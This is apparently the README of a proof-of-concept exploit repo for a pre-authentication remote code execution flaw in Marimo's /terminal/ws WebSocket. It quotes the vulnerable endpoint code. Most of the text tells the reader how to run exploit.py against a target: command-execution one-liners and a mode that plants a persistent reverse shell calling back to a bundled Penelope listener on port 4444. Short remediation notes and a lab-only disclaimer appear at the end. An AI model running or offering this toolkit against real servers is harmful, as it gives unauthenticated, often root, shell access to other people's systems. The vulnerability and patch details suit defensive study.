/terminal/ws)CVSS 4.0 : 9.3 CRITICAL
CVSS 3.x : 9.8 CRITICAL
CWE : CWE-306 (Missing Authentication for Critical Function)
Fix : Marimo 0.23.0+
Affects : Marimo <= 0.20.4 (all builds prior to the auth fix)
在 Marimo(一个响应式 Python 笔记本服务器)中存在预认证 远程代码执行 漏洞。
只需一个未经认证的 WebSocket 连接到 /terminal/ws,即可获得以运行 Marimo 进程的用户(在 Docker 中通常是 root)身份存在的完整交互式 PTY shell。
仅限实验室/授权测试(HTB、CTF、有书面授权范围的测试项目)。
Marimo 通过 WebSocket 在以下地址暴露了一个集成终端:
ws://<host>:<port>/terminal/ws
wss://<host>/terminal/ws
其他 WebSocket 路由(尤其是笔记本 UI 的 /ws)会正确调用 validate_auth()。
/terminal/ws 则不会。 它仅检查:
随后立即:
await websocket.accept()
child_pid, fd = pty.fork() # full system shell
无需 Cookie、令牌、密码或 Authorization 标头 — 即使实例已启用身份验证。
影响: 未经身份验证即可利用 Marimo 进程的权限执行任意命令。在默认容器镜像中,这通常意味着 root 权限。
文件(存在漏洞的版本):marimo/_server/api/endpoints/terminal.py
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
if not supports_terminal():
await websocket.close(...)
return
# <<< no validate_auth() / @requires("edit") >>>
await websocket.accept()
child_pid, fd = pty.fork()
# ... bridge WebSocket <-> PTY ...
对比笔记本 WebSocket(ws_endpoint.py),后者确实强制执行身份验证:
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth():
return
Attacker Marimo (edit mode)
| |
| WS upgrade /terminal/ws |
|----------------------------------->|
| 101 Switching Protocols |
| (no auth challenge) |
|<-----------------------------------|
| | pty.fork() → /bin/bash
| "id\n" |
|----------------------------------->|
| uid=1000(marimo) ... |
|<-----------------------------------|
| persistent reverse shell |
|----------------------------------->|
| <======== TCP shell =======|
ws(s)://target/terminal/ws| 状态 | 版本 |
|---|---|
| 受影响 | Marimo <= 0.20.4(修复前) |
| 已修复 | Marimo 0.23.0 及更高版本 |
任何在没有外部身份验证网关的情况下暴露终端 WebSocket(编辑模式、支持 PTY)的部署都属于受影响范围。
| 文件 | 角色 |
|---|---|
exploit.py | PoC:命令执行 + 持久反向 shell + Penelope 启动器 |
penelope.py | 独立 shell 处理程序(brightio/penelope) |
README.md | 本文件 |
git clone <this-repo> CVE-2026-39987
cd CVE-2026-39987
chmod +x exploit.py penelope.py
penelope.py 无需 额外依赖(Python 3.6+ 标准库)。
python3 exploit.py https://example.lab "id"
python3 exploit.py https://example.lab -p
python3 exploit.py wss://example.lab/terminal/ws "whoami"
执行过程:
/terminal/ws 交付一个 独立 反向 shell0.0.0.0:4444 上 exec 启动 Penelopepython3 exploit.py -h
Penelope 已捆绑为 独立 脚本(penelope.py):
默认流程(-p):
exploit.py
├── fork child ──delay──► WS /terminal/ws ──► setsid/nohup revshell
│
└── exec ► penelope.py <PORT> -i 0.0.0.0
▲
│ TCP callback
└── victim
刻意使用子进程是有原因的:os.execv(penelope) 会替换父进程映像,从而杀死后台线程。
手动运行 Penelope:
python3 penelope.py 4444
python3 penelope.py 4444 -i 0.0.0.0
python3 penelope.py -a # show sample payloads for active listeners
pip install -U marimo).env、SSH 密钥),审计出站连接与持久化机制本项目仅用于 授权 的安全测试、教育和防御性研究。
您有责任遵守适用的法律法规以及您所在实验室或客户的授权测试条款。